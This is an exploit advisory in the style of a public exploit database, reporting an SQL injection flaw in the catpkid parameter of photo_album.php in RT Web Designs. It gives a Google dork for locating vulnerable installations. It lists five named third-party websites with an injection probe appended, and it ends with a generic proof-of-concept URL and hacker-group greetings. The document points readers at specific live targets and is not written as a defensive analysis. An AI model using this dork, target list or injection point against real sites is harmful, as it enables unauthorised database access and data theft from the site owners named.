RT Web Designs (photo_album.php) SQL Injection Vulnerability

#########################################################################
# Exploit Title: [ RT Web Designs (photo_album.php) SQL Injection Vulnerability ]                 
# Date: [01-10-2012]                                                    
# Author: [Mouh Marvel-Dz]                                    
# Facebook : http://www.facebook.com/mouh.marvel                      
# Category: [webapps]                                                    
# Google dork: intext:"Powered by RT Web Designs" inurl:photo_album.php?catpkid=
# Tested on: [Windows 7 ]                                               
#########################################################################

Example Sites : 

http://samanthashane.com/user/photo_album.php?catpkid=1'
http://www.michelleavila.com/user/photo_album.php?catpkid=4'
http://www.exploreafantasy.com/user/photo_album.php?catpkid=7'
http://www.rita-daniels.com/user/photo_album.php?catpkid=1'
http://www.myaspenrae.com/user/photo_album.php?catpkid=25'


and more in Google


[~]Exploit/p0c : http://www.site.com/user/photo_album.php?catpkid=[SQLi]


Greetz [ ShinoBi-Dz / Arm4dill0.DZ / Laze De Pique ] 

                     -[Freedom to Palestine]-



#  0day.today [2018-04-13]  #